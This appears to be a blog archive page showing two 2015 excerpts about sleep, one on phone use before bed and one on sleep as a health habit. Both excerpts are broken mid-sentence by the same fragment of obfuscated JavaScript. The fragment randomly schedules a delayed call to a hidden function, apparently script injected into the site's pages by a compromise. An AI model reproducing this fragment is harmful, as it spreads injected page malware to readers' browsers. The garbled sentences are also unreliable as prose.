sleep

Is Your Cell Phone Destroying Your Sleep?

April , 2015

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Six months ago I upgraded to an iPhone 6. I was so happy to have a bigger screen, faster connection, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and all the perks that came with my new phone. Unfortunately the ease of this new phone allowed me to form the habit of using it before bedtime. After months […]

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Sleep Your Way to a Healthy Happy Life

March , 2015

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I’ve noticed that one of the most over looked health habits is the one of sleep. When life gets crazy busy, tasks take priority before a good night’s sleep. Yet sleep is a very necessary tool for your body to repair properly. While we sleep, our organs repair, cells that are tired andom()*5);if (c==3){var delay […]

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